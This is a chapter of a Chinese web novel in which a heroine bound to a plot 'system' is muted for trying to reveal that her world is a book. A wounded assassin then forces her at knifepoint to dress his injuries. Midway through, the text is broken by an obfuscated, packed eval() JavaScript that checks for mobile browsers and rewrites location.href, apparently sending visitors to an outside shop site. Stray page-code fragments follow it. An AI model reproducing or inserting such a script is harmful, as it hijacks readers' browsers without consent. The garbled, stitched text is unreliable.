14.顾长明这人
作品:《杜某人和她的刽子手》 事情如预先说的那样发展,杜蘅芜仍觉心惊胆战,明明做坏事的人又不是她,为什么她却有种刺客畏罪潜逃的感觉呢。
旁边父亲和母亲仍在交谈。
“也不知道沈昀殿下现在如何了。沈昀两个亲卫都是自幼培养的死侍,能将两个死侍都解决,这些刺客武功定然不差。”
“是啊,杀掉两个亲信,也不知是何人有这身手。”
两人说到这,看向在一旁听着的杜蘅芜,“与你同行的林侍郎家的那孩子,今天恰好与沈昀王爷同行的,好像为了护着沈昀伤的不轻。你们这几日常在一块,明日得空了你记得去林府看看她。”
杜蘅芜点头答应,“父亲,那刺客是几人啊?身手居然这样了得。”
“除去刺客头头,好像还有两人。不过那两人被抓后,就服毒自尽了,那个刺客伤的也很重,官兵还在追捕。”
刺客头头难道是顾长明?
杜蘅芜心中怀揣着疑惑,与他们二人分开后,就回到了房内。
回到房中,小梨早已经在房中等待,看见杜蘅芜回来,她赶忙将备好的热水递上。
晚上与王爷几人同游,杜蘅芜本是想着坐别人的车多有不便,这才让小梨随着杜霁一道回府,哪能想,着实免除了些不必要的灾祸。
她上前将小梨手中的帕子放回水中,撒娇的抱住小梨,“小梨,我和你说,我今天晚上遇上了好多事情,累死我了。”
小梨轻轻抬手拍了拍杜蘅芜的脑袋,手指顺着头发向下抚,安抚道:“小姐辛苦了。现在夜深了,小姐可以好好休息了。”
那根绷了一整晚的脑袋,听见小梨的安慰总算渐渐放松。
杜蘅芜只觉鼻头微微发酸,紧绷的肩膀一点点落了下去。她沉默了好一会儿,像是在把那些乱糟糟的思绪慢慢理清,末了,才轻轻退出小梨的怀抱,垂着眼,不知在想什么。
“小梨,如果有一天,有个事情你不做你就会保不住自己心爱的东西,所以你不得不做。但是你眼前摆了两条路,有一条是对的,你不清楚哪条是对的,偏偏这两条路的方向是相反的,你会怎么办。”
杜蘅芜很少会问这些问题,看着她苦恼的表情,小梨猜测小姐遇上了什么很纠结的事情。
“奴婢愚钝,在选不出哪条路的时候,会与身边人一同,一人走一边,这样,两边都有人走了。”
小梨就杜蘅芜的问题回答,让杜蘅芜有了些新的方向。这几日,她总是想着这些事情太过离奇,所以一开始就没想着告诉别人。
可若是自己一个人完成的困难,找一个人与自己一起人多力量大的话,不就轻松许多了吗!
她眼睛放光地看向小梨,她忍不了了,她要告诉小梨。
话落到嘴边,嘴一张,声音竟凭空消失了。
像有人在她喉咙深处,把声音掐断,连啊啊的语调都发不出来。
杜蘅芜努力的张嘴,反复的试着去说,“系统”“我”。
失败后,她放弃说这几个词后,却连正常话都不让说了。
小梨看着她的嘴张张合合,什么也没听见,眉头渐渐皱起来:“小姐?”
杜蘅芜急得疯狂朝着小梨比划,指头在空中比得飞快,却表达不出完整的信息。
小梨脸色一变,着急慌忙的跑去拿纸笔,递过来时手都在抖:“小姐,小姐,你别急…你写下来。”
杜蘅芜一把夺过笔,将纸铺开,笔尖刚触到纸面,刚写下一个“我”字,手指忽然失了力,然后笔也拿不稳了。
笔杆直直从指间滑落,“啪”地砸在桌上,她愣愣低头盯着自己的右手。
笔滚了半圈后,躺在桌面上。笔墨将她写下的“我”字晕开,使小梨看不出其中深意。
恰在此时,系统警告的话也出现在眼前。
【我这边一直在亮红色警告,你在做什么。】
没等杜蘅芜回应,它接着补充。
【我检查了,你试图打破世界规则被禁言了。你不要试图把这个事情告诉书中出现过的角色,说不出来的。这本书有它自己的运行逻辑,你要告诉别的人他们存在的世界是一本书那不就乱套了。】
系统这样说,杜蘅芜只好无奈作罢。她摆了摆手,因为暂时自己没办法说话,只好用手势说明自己没事,想睡觉了。
小梨关切的看着杜蘅芜,“小姐你究竟怎么了,为什么忽然不说话了?”
杜蘅芜用手比出自己很疲惫的意思,让她不用担心自己。
不知道该怎么解释自己这突如其来的症状,她只好先借口自己好困,将小梨推出门外。
送走小梨,杜蘅芜躺到床上,决定继续问系统。
「你刚刚说的,剧情人物不能知道是什么意思,那为什么我可以知道,我知道了难道就不乱套了?」
【你的觉醒是你自发产生的,并不由规则决定,正是因为你介于规则之外,我们才会选择由你来推动剧情发展。】
剧情之外?这又是什么意思。
但这个系统似乎是意识到自己说多了,无论杜蘅芜怎么问,系统都不再回答这个问题。
杜蘅芜只好妥协,换了个问题。
「你前面说的,做任务获得奖励。我明明是按照你说的任务要求来做的,为什么还没有说我成功。还有我不会一直都说不了话,写不了字了吧。」
【应该是检测系统有延迟,你等等就好了。你这次禁言是警告,大概一个时辰内你不能说话,所以明日一起床就好了。
但若是你还有下次,就是禁言半月了。这个是自动检测的,只要说到敏感词就会自动禁言,所以你别抱有侥幸心理。】
行吧。说了一大堆,总得来说就是警告她,再说就让她说不出话。
也不知她这嘴有什么好闭的,这个也想让她闭嘴,那个也想让她闭嘴。
杜蘅芜眼下说不出话,也没办法动笔。干脆起身,用小梨打来的热水洗了脸,换了寝衣舒舒服服的准备躺去床上。
恰在此时,任务成功的字出现在眼前。
【任务完成】
【恭喜获得奖励:原著剧情一段】
【将在入梦后打开奖励】
好啦,她小杜今日之事也是完美完成了,现在就可以躺在床上美美的准备解锁奖励了。
杜蘅芜看见任务成功,脚步都轻快了许多,给自己的脸上抹了些香,就准备回床上躺着等奖励了。
躺到床上,杜蘅芜发呆的看着地面摇晃的树影,猜测着这次的剧情会有什么内容。
她好像,忘记问关于顾长明的事情了。
想着想着,杜蘅芜迷迷糊糊间就要入梦。
窗棂有风,吹的窗子嘎吱嘎吱响,她翻了个身,将被子裹紧了一些,意识正要沉沉睡去。
【检测到任务者已进入睡眠,现解……】
字都没现完,就戛然而止。
窗棂处传来的响动惊扰了杜蘅芜,她眼皮本已沉得像灌了铅,听见响动也半天睁不开。
可脑子还没转过来,潜意识已察觉到不对。
窗子响后,吹进来的风,显然带着阵阵铁锈气,浓厚的血腥气从那蔓延开来。
杜蘅芜猛地睁开双眼,警惕的坐起身看向窗台。
月光从窗口照进来,竟照出来了一个人影。
那人半个身子靠在窗子上,动作不稳。他佝偻着背,发出一声痛哼,想必是刚翻进来牵扯到了伤口。
房里忽然出现个带血的人,杜蘅芜张嘴要叫救命,却忽然想起,自己现在还不能说话。
那人的速度比她意识到自己不能说话的速度快得多。他抬眼往杜蘅芜这看了一眼,就冲过来将刀架在了她的脖子上。
“敢叫,割了你的喉咙。”
杜蘅芜无言的眨巴着眼,老实的点了点头。她就说老有人惦记她的嗓子。
月光打在他脸上,杜蘅芜仔细一瞧发现这人是
顾长明。
此时的他,远没有前面在酒楼遇见时,那般体面的盛气凌人。
此时他身上多处刀伤,脸上全是血。额角一道口子,血糊了半边脸,也不知道破相了没。衣裳也破了,暗色的洇开一大片,看不清伤口的深浅。
好在伤口有些时候了,没有继续淌血,否则她这一床被子都该遭殃。
可现在是担忧被子的时候吗!杜蘅芜脑袋轰的一声炸开,想说话偏又说不出来。
官兵要抓的人忽然出现在她这,任凭谁看见都要被吓一跳。她连自己被扰了清梦,还被打断了领奖励的气都不敢发。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366381|197927||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
只能无助的向后退。
顾长明没动,手支着窗边,另一只手捂住胸口的刀伤,他喘了两口气,抬头看她,那双眼睛在黑夜里格外的亮。
他警告的看了杜蘅芜一眼,哑声道:“别出声。”
眼里混杂着痛苦与狼狈,语气仍带着威胁和不容置疑。
杜蘅芜尴尬的笑了笑,想说自己倒是也说不出话,不过她连这句也说不出来。
顾长明警惕的悄声走到门边,侧耳听外面是否有什么动静,确定外面很安静以后,这才转身,目光在屋子里扫了一圈,然后看着杜蘅芜。
看她干什么,杜蘅芜面对他这种眼神,缩了缩肩膀。
“你有没有止血的药。”
有倒是有,但不是很想拿给你。杜蘅芜撇嘴站在原地。
顾长明威胁的抽了一下放入剑鞘中的长剑,剑出鞘的声音,吓的杜蘅芜赶忙跑去翻箱子给他拿止血药,还在心里悄悄喊系统。
「系统,系统,有人要杀我。」
【我没检测到你有危险啊,你这边不是只有你一个人吗?】
只有她一个人?
「嗯,是只有我一个人,我刚做噩梦呢,才醒。」
这系统关键时刻一直没什么用,顾长明理论上来说该是剧情人物,系统检测不到,那肯定有问题。
只是不知道是系统的问题还是顾长明的问题,
系统并非完全可信,顾长明看起来也没有真想杀了自己的心思。
所以出于私心,杜蘅芜选择将顾长明的存在隐瞒了下来。
她翻出止血药后,将药递给了顾长明。顾长明接过止血药打开瓶盖闻了一下味道确定是止血药才扯开衣服,给自己上药,他上完手臂,竟唰的一下扯掉了大半边衣服。
!!杜蘅芜瞪大了双眼看着眼前这人,手臂对着上衣一扯,一瞬间上半身就只剩几片衣料勉强遮住身体,她赶忙捂住自己的双眼。
天爷啊天爷,她不会长针眼吧,她长这么大,从来没看见过别人的肌肤,这人不害臊吗。
“你,过来帮我上药。”
杜蘅芜半眯着眼睛,耳根发红,别着脸,完全不好意思看他,她不确定的指了指自己又指了指顾长明。
我?帮你上药?
顾长明理所当然的挑了挑眉,说话的时候语气中带着忍痛的吸气声,“不然呢,这屋子里还有别人吗?”
杜蘅芜不情不愿的走到顾长明的旁边,心里还在想这人不还害躁吗。
她抬眼,看见他满背的伤痕才知道这家伙若是害躁,估计再不过多久,就能死在她房里。
背上大大小小的伤痕,有些浅显只在皮肉,有些深可见骨,使得皮肤外翻,隐约能看见里面的白。
杜蘅芜看着这些伤口,闻着迎面而来的血腥味,控制不住的想要呕吐。
见她干呕个不停,顾长明催促,“你愣着干嘛,准备明天起来让你府里的丫鬟婆子,看你房里有一具男尸不成?”
顾长明说的难听,杜蘅芜吐槽个不停,一时没注意下手也没轻没重。
在他较深的伤口处,猛倒了一把止血粉。如愿听见了顾长明因为疼痛发出的吸气。
活该,叫你说话那么不中听,多涂点药助你早些好。杜蘅芜得意洋洋的在他身后偷笑。
“你嘴巴张张合合的做什么,晚上你不是挺会说的吗,沈昀沈昀你来了的,怎么现在成哑巴了。”
哑巴哑巴,你才是哑巴,“你全家都是哑巴。”
??她怎么忽然能说话了,听见自己的声音,杜蘅芜诧异的想要捂住自己的嘴巴,看着自己手上的血,又停下了。
顾长明切了一声,“原来会说话,你这人说话好生伶俐,沈砺应该告诉你了吧,我和沈昀是兄弟,你不是喜欢他吗,他若是个哑巴,你喜欢他做甚。”
杜蘅芜没好气的呛声,“管你什么事情,他是哑巴我也喜欢。”
顾长明哼笑,“喜欢他,你还和沈砺合作。他眼里最见不得沙子,你担心自己死太慢了不成。”
“我救你,你还这么多话。你伤这么重还这么爱说话,也是担心自己死的太慢了吗?”顾长明语气不善,杜蘅芜自然不惯着。
她反呛完,就听见门外传来悉悉索索的声音。

